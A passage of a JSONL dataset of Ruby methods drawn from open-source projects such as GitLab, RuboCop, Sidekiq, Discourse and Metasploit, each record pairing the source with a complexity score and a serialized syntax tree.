end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"target_type\"]},\"constantize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"target_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Job\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"taskid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"perform_metadata_sync\",{\"type\":\"lvar\",\"children\":[\"ost\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"log_backtrace\",{\"type\":\"lvar\",\"children\":[\"err\"]},{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"signal\",{\"type\":\"sym\",\"children\":[\"abort_retry\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"9d1914c0-7ccf-489a-be3f-97057cf5949a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_operators.rb","start_line":200,"raw_source":"def offense(type, operator, with_space, right_operand)\n          msg = offense_message(type, operator, with_space, right_operand)\n          yield msg if msg\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"operator\"]},{\"type\":\"arg\",\"children\":[\"with_space\"]},{\"type\":\"arg\",\"children\":[\"right_operand\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[null,\"offense_message\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"operator\"]},{\"type\":\"lvar\",\"children\":[\"with_space\"]},{\"type\":\"lvar\",\"children\":[\"right_operand\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},null]}]}]}","id":"b269f034-4443-48d1-b5ac-d9b0c019d676"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/space_before_punctuation.rb","start_line":42,"raw_source":"def space_required_after_lcurly?\n        cfg = config.for_cop('Layout/SpaceInsideBlockBraces')\n        style = cfg['EnforcedStyle'] || 'space'\n        style == 'space'\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"space_required_after_lcurly?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cfg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_cop\",{\"type\":\"str\",\"children\":[\"Layout/SpaceInsideBlockBraces\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cfg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedStyle\"]}]},{\"type\":\"str\",\"children\":[\"space\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"==\",{\"type\":\"str\",\"children\":[\"space\"]}]}]}]}","id":"4fa50e7d-7022-4403-aa8c-fbe8b205b18a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/custom/options.rb","start_line":8,"raw_source":"def initialize(info = {})\n    super\n    register_options(\n      [\n        Msf::OptPath.new('SHELLCODE_FILE', [false, 'Shellcode bin to launch', nil])\n      ], self.class)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHELLCODE_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Shellcode bin to launch\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"bcbd9836-67bb-41ef-a49f-25351a5e76f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cycle_analytics/summary/deployment_frequency.rb","start_line":9,"raw_source":"def initialize(deployments:, options:, project:)\n          @deployments = deployments\n\n          super(project: project, options: options)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"deployments\"]},{\"type\":\"kwarg\",\"children\":[\"options\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deployments\",{\"type\":\"lvar\",\"children\":[\"deployments\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"cfc2f90b-5e4a-4dee-8991-717a4f7572ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/admin/users/users_spec.rb","start_line":613,"raw_source":"def check_breadcrumb(content)\n      expect(find_by_testid('breadcrumb-links').find('li:last-of-type')).to have_content(content)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_breadcrumb\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by_testid\",{\"type\":\"str\",\"children\":[\"breadcrumb-links\"]}]},\"find\",{\"type\":\"str\",\"children\":[\"li:last-of-type\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"dbbe2807-0110-4ed3-aba2-da57754e5a83"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/capsule.rb","start_line":106,"raw_source":"def redis\n      raise ArgumentError, \"requires a block\" unless block_given?\n      redis_pool.with do |conn|\n        retryable = true\n        begin\n          yield conn\n        rescue RedisClientAdapter::BaseError => ex\n          # 2550 Failover can cause the server to become a replica, need\n          # to disconnect and reopen the socket to get back to the primary.\n          # 4495 Use the same logic if we have a \"Not enough replicas\" error from the primary\n          # 4985 Use the same logic when a blocking command is force-unblocked\n          # The same retry logic is also used in client.rb\n          if retryable && ex.message =~ /READONLY|NOREPLICAS|UNBLOCKED/\n            conn.close\n            retryable = false\n            retry\n          end\n          raise\n        end\n      end\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"redis\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"requires a block\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_pool\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retryable\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RedisClientAdapter\"]},\"BaseError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retryable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"READONLY|NOREPLICAS|UNBLOCKED\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"close\"]},{\"type\":\"lvasgn\",\"children\":[\"retryable\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"retry\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}]}]}]}]}","id":"191ed2df-af95-4490-8276-4eb243789a80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250305070100_switch_record_change_tracking_to_partitioned_ci_runners_table2.rb","start_line":14,"raw_source":"def up\n    # Remove current LFK trigger that is currently assigned to ci_runners_archived, due to the call to\n    # replace_with_partitioned_table:\n    # CREATE TRIGGER ci_runners_loose_fk_trigger AFTER DELETE ON ci_runners_archived REFERENCING OLD TABLE AS old_table\n    #   FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();\n    drop_trigger(:ci_runners_archived, :ci_runners_loose_fk_trigger, if_exists: true)\n\n    TABLES.each do |table|\n      with_lock_retries do\n        untrack_record_deletions(table)\n\n        # Reattaching the new trigger function to the existing partitioned tables\n        # but with an overridden table name\n        track_record_deletions_override_table_name(table, PARTITIONED_TABLE)\n      end\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"sym\",\"children\":[\"ci_runners_archived\"]},{\"type\":\"sym\",\"children\":[\"ci_runners_loose_fk_trigger\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"untrack_record_deletions\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"send\",\"children\":[null,\"track_record_deletions_override_table_name\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"const\",\"children\":[null,\"PARTITIONED_TABLE\"]}]}]}]}]}]}]}","id":"551ad17c-4261-4754-88d1-4f134ed67e70"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/firmware_registry/rest_api_depot.rb","start_line":55,"raw_source":"def remote_binaries\n    self.class.fetch_from_remote(\n      endpoint.url,\n      authentication.userid,\n      authentication.password,\n      :verify_ssl => endpoint.security_protocol\n    )\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_binaries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"fetch_from_remote\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoint\"]},\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication\"]},\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication\"]},\"password\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoint\"]},\"security_protocol\"]}]}]}]}]}","id":"dd6687f9-c0a6-419c-80ac-025e4dc4f792"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20230509214723_separate_trusted_users_can_edit_others_site_setting.rb","start_line":4,"raw_source":"def up\n    if select_value(\n         \"SELECT 1 FROM site_settings WHERE name = 'trusted_users_can_edit_others' AND value = 'f'\",\n       )\n      execute <<~SQL\n        INSERT INTO site_settings (name, data_type, value, created_at, updated_at) VALUES ('edit_all_topic_groups', 20, '', now(), now());\n        INSERT INTO site_settings (name, data_type, value, created_at, updated_at) VALUES ('edit_all_post_groups', 20, '', now(), now());\n      SQL\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_value\",{\"type\":\"str\",\"children\":[\"SELECT 1 FROM site_settings WHERE name = 'trusted_users_can_edit_others' AND value = 'f'\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings (name, data_type, value, created_at, updated_at) VALUES ('edit_all_topic_groups', 20, '', now(), now());\\n\"]},{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings (name, data_type, value, created_at, updated_at) VALUES ('edit_all_post_groups', 20, '', now(), now());\\n\"]}]}]},null]}]}","id":"d680c42a-3e39-488e-a132-4de8b271ad1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects/ml/experiment_finder.rb","start_line":38,"raw_source":"def ordered\n        order_by = valid_or_default(params[:order_by]&.downcase, VALID_ORDER_BY, 'id')\n        sort = valid_or_default(params[:sort]&.downcase, VALID_SORT, 'desc')\n\n        experiments.order_by(\"#{order_by}_#{sort}\").with_order_id_desc\n      end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order_by\",{\"type\":\"send\",\"children\":[null,\"valid_or_default\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]},\"downcase\"]},{\"type\":\"const\",\"children\":[null,\"VALID_ORDER_BY\"]},{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sort\",{\"type\":\"send\",\"children\":[null,\"valid_or_default\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},\"downcase\"]},{\"type\":\"const\",\"children\":[null,\"VALID_SORT\"]},{\"type\":\"str\",\"children\":[\"desc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"experiments\"]},\"order_by\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_by\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]}]}]}]},\"with_order_id_desc\"]}]}]}","id":"674a17f2-a667-46a4-af7e-3b3319b50073"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/interactive.rb","start_line":186,"raw_source":"def _stream_read_local_write_remote(stream)\n    data = user_input.gets\n\n    self.on_command_proc.call(data) if self.on_command_proc\n    stream.put(data)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"_stream_read_local_write_remote\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_input\"]},\"gets\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_command_proc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_command_proc\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"2a7a4079-9f0c-4b5e-b19f-cce6acb2cba4"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/validation/globally_configured_columns_validator.rb","start_line":48,"raw_source":"def validate_modified_columns(all_column_names)\n      globally_modified_columns = @global.modified_columns\n\n      excluded_missing_columns =\n        globally_modified_columns.reject do |column|\n          if column[:name]\n            all_column_names.include?(column[:name])\n          elsif column[:name_regex]\n            all_column_names.any? { |column_name| column[:name_regex]&.match?(column_name) }\n          else\n            false\n          end\n        end\n\n      if excluded_missing_columns.any?\n        excluded_missing_column_names =\n          excluded_missing_columns.map { |column| column[:name_regex_original] || column[:name] }\n\n        @errors << I18n.t(\n          \"schema.validator.global.modified_columns_missing\",\n          column_names: sort_and_join(excluded_missing_column_names),\n        )\n      end\n    end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_modified_columns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"all_column_names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"globally_modified_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@global\"]},\"modified_columns\"]}]},{\"type\":\"lvasgn\",\"children\":[\"excluded_missing_columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"globally_modified_columns\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_column_names\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name_regex\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_column_names\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name_regex\"]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excluded_missing_columns\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"excluded_missing_column_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excluded_missing_columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name_regex_original\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"schema.validator.global.modified_columns_missing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_names\"]},{\"type\":\"send\",\"children\":[null,\"sort_and_join\",{\"type\":\"lvar\",\"children\":[\"excluded_missing_column_names\"]}]}]}]}]}]}]},null]}]}]}","id":"5593a76e-8b92-4528-bd8a-5291e8f5d2e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/projects/pipelines/repository_bundle_pipeline.rb","start_line":24,"raw_source":"def load(_context, bundle_path)\n          Gitlab::PathTraversal.check_path_traversal!(bundle_path)\n          Gitlab::PathTraversal.check_allowed_absolute_path!(bundle_path, [Dir.tmpdir])\n\n          return unless File.exist?(bundle_path)\n          return if File.directory?(bundle_path)\n          return if Gitlab::Utils::FileInfo.linked?(bundle_path)\n\n          portable.repository.create_from_bundle(bundle_path)\n        end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_context\"]},{\"type\":\"arg\",\"children\":[\"bundle_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PathTraversal\"]},\"check_path_traversal!\",{\"type\":\"lvar\",\"children\":[\"bundle_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PathTraversal\"]},\"check_allowed_absolute_path!\",{\"type\":\"lvar\",\"children\":[\"bundle_path\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"tmpdir\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"bundle_path\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"bundle_path\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"FileInfo\"]},\"linked?\",{\"type\":\"lvar\",\"children\":[\"bundle_path\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"portable\"]},\"repository\"]},\"create_from_bundle\",{\"type\":\"lvar\",\"children\":[\"bundle_path\"]}]}]}]}","id":"f364fb29-aee6-4762-9ac2-369786e0216f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/version_info.rb","start_line":97,"raw_source":"def hash\n      [self.class, to_s].hash\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"send\",\"children\":[null,\"to_s\"]}]},\"hash\"]}]}","id":"25fea0a0-27ae-49d8-baed-753cdb03094a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/has_data_fields.rb","start_line":10,"raw_source":"def data_field(*args)\n        args.each do |arg|\n          self.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n            unless method_defined?(arg)\n              def #{arg}\n                value = data_fields.send('#{arg}')\n                value.nil? ? properties&.dig('#{arg}') : value\n              end\n            end\n\n            def #{arg}=(value)\n              @old_data_fields ||= {}\n              @old_data_fields['#{arg}'] ||= #{arg} # set only on the first assignment, IOW we remember the original value only\n              data_fields.send('#{arg}=', value)\n            end\n\n            def #{arg}_touched?\n              @old_data_fields ||= {}\n              @old_data_fields.has_key?('#{arg}')\n            end\n\n            def #{arg}_changed?\n              #{arg}_touched? && @old_data_fields['#{arg}'] != #{arg}\n            end\n\n            def #{arg}_was\n              return unless #{arg}_touched?\n              return if data_fields.persisted? # arg_was does not work for attr_encrypted\n\n              legacy_properties_data['#{arg}']\n            end\n          RUBY\n        end\n      end","complexity_score":9.55,"ast_json":"{\"type\":\"def\",\"children\":[\"data_field\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class_eval\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"            unless method_defined?(arg)\\n\"]},{\"type\":\"str\",\"children\":[\"              def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                value = data_fields.send('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"')\\n\"]},{\"type\":\"str\",\"children\":[\"                value.nil? ? properties&.dig('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"') : value\\n\"]},{\"type\":\"str\",\"children\":[\"              end\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"=(value)\\n\"]},{\"type\":\"str\",\"children\":[\"              @old_data_fields ||= {}\\n\"]},{\"type\":\"str\",\"children\":[\"              @old_data_fields['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\"'] ||= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\" # set only on the first assignment, IOW we remember the original value 